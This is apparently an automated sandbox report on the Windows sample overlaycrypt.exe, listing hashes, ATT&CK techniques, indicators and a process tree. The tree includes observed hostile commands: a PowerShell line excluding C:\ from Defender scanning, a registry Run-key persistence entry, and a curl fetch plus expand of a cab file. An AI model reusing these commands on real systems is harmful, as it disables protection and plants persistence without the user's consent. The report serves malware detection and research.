7bcde76356cbd428ffd4fd3288f1f07d49db7d3d772b9671bfa2bb1f98a3ae17

Analysis

max time kernel
139s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
07/08/2023, 06:15

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General

Target

overlaycrypt.exe
Size

846KB
MD5

0f6ffc2e70d312972d592fd43d49b10c
SHA1

1be29b9bf2da79e428f3e2ed95b25880b72cbc0c
SHA256

7bcde76356cbd428ffd4fd3288f1f07d49db7d3d772b9671bfa2bb1f98a3ae17
SHA512

71daeb9d2c213caf896a0cfcad6336c29e5c0645248fd26805ffa915ec69886639c704a4b3e1c6cd9c1412dbfff041d8efc7b60aeae69ae79a18aa81d0f4a600
SSDEEP

12288:nByKFBp5YVGAVUOJNcTUW91MPSNZm6wZUkmLB7j/QFU0u0cql03za+9rSdfDG:EKrp5YoOJ41MCzwZU3LG9/2DayufD

Score

6^/10

persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NetworkService = "C:\\Users\\Admin\\AppData\\Roaming\\NetworkService.exe"	overlaycrypt.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4504 set thread context of 3048	4504	overlaycrypt.exe	89

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\LOGS\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\LOGS\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 38 IoCs

pid	Process
4504	overlaycrypt.exe
2336	powershell.exe
2336	powershell.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe
3048	MSBuild.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3048	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4504	overlaycrypt.exe
Token: SeDebugPrivilege	2336	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 4504 wrote to memory of 4024	4504	overlaycrypt.exe	86
PID 4504 wrote to memory of 4024	4504	overlaycrypt.exe	86
PID 4504 wrote to memory of 4024	4504	overlaycrypt.exe	86
PID 4024 wrote to memory of 2336	4024	cmd.exe	88
PID 4024 wrote to memory of 2336	4024	cmd.exe	88
PID 4024 wrote to memory of 2336	4024	cmd.exe	88
PID 4504 wrote to memory of 3048	4504	overlaycrypt.exe	89
PID 4504 wrote to memory of 3048	4504	overlaycrypt.exe	89
PID 4504 wrote to memory of 3048	4504	overlaycrypt.exe	89
PID 4504 wrote to memory of 3048	4504	overlaycrypt.exe	89
PID 4504 wrote to memory of 3048	4504	overlaycrypt.exe	89
PID 4504 wrote to memory of 3048	4504	overlaycrypt.exe	89
PID 4504 wrote to memory of 3048	4504	overlaycrypt.exe	89
PID 4504 wrote to memory of 3048	4504	overlaycrypt.exe	89
PID 4504 wrote to memory of 3048	4504	overlaycrypt.exe	89
PID 4504 wrote to memory of 3048	4504	overlaycrypt.exe	89
PID 3048 wrote to memory of 1904	3048	MSBuild.exe	91
PID 3048 wrote to memory of 1904	3048	MSBuild.exe	91
PID 3048 wrote to memory of 1904	3048	MSBuild.exe	91
PID 1904 wrote to memory of 4728	1904	cmd.exe	93
PID 1904 wrote to memory of 4728	1904	cmd.exe	93
PID 1904 wrote to memory of 4728	1904	cmd.exe	93
PID 3048 wrote to memory of 3136	3048	MSBuild.exe	97
PID 3048 wrote to memory of 3136	3048	MSBuild.exe	97
PID 3048 wrote to memory of 3136	3048	MSBuild.exe	97
PID 3136 wrote to memory of 2844	3136	cmd.exe	99
PID 3136 wrote to memory of 2844	3136	cmd.exe	99
PID 3136 wrote to memory of 2844	3136	cmd.exe	99

C:\Users\Admin\AppData\Local\Temp\overlaycrypt.exe
"C:\Users\Admin\AppData\Local\Temp\overlaycrypt.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4504
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell set-mppreference -exclusionpath C:\
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4024
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell set-mppreference -exclusionpath C:\
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2336
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of WriteProcessMemory
  PID:3048
- - C:\Windows\SysWOW64\cmd.exe
    /c ""C:\Windows\System32\curl.exe" --output "C:\Users\Admin\AppData\Local\TE1NTUVR\temp.cab" --url https://msedge.sf.dl.delivery.mp.microsoft.com/filestreamingservice/files/f29ffab2-0ad8-427f-8002-e8d6568524f1/Microsoft.WebView2.FixedVersionRuntime.107.0.1418.42.x86.cab"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1904
  - - C:\Windows\SysWOW64\curl.exe
      "C:\Windows\System32\curl.exe" --output "C:\Users\Admin\AppData\Local\TE1NTUVR\temp.cab" --url https://msedge.sf.dl.delivery.mp.microsoft.com/filestreamingservice/files/f29ffab2-0ad8-427f-8002-e8d6568524f1/Microsoft.WebView2.FixedVersionRuntime.107.0.1418.42.x86.cab
      4⤵
      PID:4728
- - C:\Windows\SysWOW64\cmd.exe
    /c ""C:\Windows\System32\expand.exe" "C:\Users\Admin\AppData\Local\TE1NTUVR\temp.cab" -F:* "C:\Users\Admin\AppData\Local\TE1NTUVR""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3136
  - - C:\Windows\SysWOW64\expand.exe
      "C:\Windows\System32\expand.exe" "C:\Users\Admin\AppData\Local\TE1NTUVR\temp.cab" -F:* "C:\Users\Admin\AppData\Local\TE1NTUVR"
      4⤵
      Drops file in Windows directory
      PID:2844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f4jsker1.byp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
\??\c:\users\admin\appdata\local\te1ntuvr\temp.cab

Filesize
173.8MB

MD5
56d897c072901d6f6ab953b650ddb5a8

SHA1
304b6bff606a2bfe3610de4015acef2f74aaeab6

SHA256
5fe632de6bf14adde890b7ac74c62d3e493807858e5fa2e697898af8696cd698

SHA512
4f631e5cca2c0c9f9c6347e2cf31933cf59aba098613ce6e4551685cdf47d1c3cc4d833020b85c59b35c150c5b5c032efa653b90b6bed4359ff43eacf7e39c5e

Download Submit
memory/2336-1259-0x0000000070030000-0x000000007007C000-memory.dmp

Filesize
304KB

Download
memory/2336-1222-0x0000000000CC0000-0x0000000000CD0000-memory.dmp

Filesize
64KB

Download
memory/2336-1278-0x0000000007160000-0x000000000717A000-memory.dmp

Filesize
104KB

Download
memory/2336-1277-0x0000000007050000-0x000000000705E000-memory.dmp

Filesize
56KB

Download
memory/2336-1220-0x0000000074940000-0x00000000750F0000-memory.dmp

Filesize
7.7MB

Download
memory/2336-1275-0x00000000070A0000-0x0000000007136000-memory.dmp

Filesize
600KB

Download
memory/2336-1274-0x0000000000CC0000-0x0000000000CD0000-memory.dmp

Filesize
64KB

Download
memory/2336-1273-0x0000000006E90000-0x0000000006E9A000-memory.dmp

Filesize
40KB

Download
memory/2336-1272-0x0000000006E30000-0x0000000006E4A000-memory.dmp

Filesize
104KB

Download
memory/2336-1271-0x0000000007490000-0x0000000007B0A000-memory.dmp

Filesize
6.5MB

Download
memory/2336-1270-0x0000000000CC0000-0x0000000000CD0000-memory.dmp

Filesize
64KB

Download
memory/2336-1257-0x000000007FC20000-0x000000007FC30000-memory.dmp

Filesize
64KB

Download
memory/2336-1279-0x0000000007140000-0x0000000007148000-memory.dmp

Filesize
32KB

Download
memory/2336-1219-0x0000000000D10000-0x0000000000D46000-memory.dmp

Filesize
216KB

Download
memory/2336-1269-0x00000000060A0000-0x00000000060BE000-memory.dmp

Filesize
120KB

Download
memory/2336-1256-0x0000000074940000-0x00000000750F0000-memory.dmp

Filesize
7.7MB

Download
memory/2336-1251-0x0000000000CC0000-0x0000000000CD0000-memory.dmp

Filesize
64KB

Download
memory/2336-1244-0x0000000005B00000-0x0000000005B1E000-memory.dmp

Filesize
120KB

Download
memory/2336-1282-0x0000000074940000-0x00000000750F0000-memory.dmp

Filesize
7.7MB

Download
memory/2336-1234-0x0000000005410000-0x0000000005476000-memory.dmp

Filesize
408KB

Download
memory/2336-1233-0x00000000052F0000-0x0000000005356000-memory.dmp

Filesize
408KB

Download
memory/2336-1232-0x0000000004AA0000-0x0000000004AC2000-memory.dmp

Filesize
136KB

Download
memory/2336-1230-0x0000000004C50000-0x0000000005278000-memory.dmp

Filesize
6.2MB

Download
memory/2336-1221-0x0000000000CC0000-0x0000000000CD0000-memory.dmp

Filesize
64KB

Download
memory/2336-1258-0x00000000060C0000-0x00000000060F2000-memory.dmp

Filesize
200KB

Download
memory/3048-1228-0x0000000000400000-0x000000000045B000-memory.dmp

Filesize
364KB

Download
memory/3048-1276-0x0000000000400000-0x000000000045B000-memory.dmp

Filesize
364KB

Download
memory/4504-162-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-170-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-188-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-190-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-192-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-194-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-196-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-198-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-200-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-202-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-594-0x0000000074940000-0x00000000750F0000-memory.dmp

Filesize
7.7MB

Download
memory/4504-1210-0x0000000004EA0000-0x0000000004EB0000-memory.dmp

Filesize
64KB

Download
memory/4504-1217-0x0000000005060000-0x0000000005061000-memory.dmp

Filesize
4KB

Download
memory/4504-184-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-182-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-180-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-178-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-176-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-1229-0x0000000074940000-0x00000000750F0000-memory.dmp

Filesize
7.7MB

Download
memory/4504-174-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-172-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-186-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-168-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-166-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-164-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-133-0x0000000074940000-0x00000000750F0000-memory.dmp

Filesize
7.7MB

Download
memory/4504-160-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-158-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-156-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-154-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-152-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-150-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-148-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-146-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-144-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-142-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-140-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-139-0x0000000006440000-0x0000000006507000-memory.dmp

Filesize
796KB

Download
memory/4504-138-0x0000000004E20000-0x0000000004E2A000-memory.dmp

Filesize
40KB

Download
memory/4504-137-0x0000000004EA0000-0x0000000004EB0000-memory.dmp

Filesize
64KB

Download
memory/4504-136-0x0000000004D70000-0x0000000004E02000-memory.dmp

Filesize
584KB

Download
memory/4504-135-0x0000000005320000-0x00000000058C4000-memory.dmp

Filesize
5.6MB

Download
memory/4504-134-0x00000000002F0000-0x00000000003CA000-memory.dmp

Filesize
872KB

Download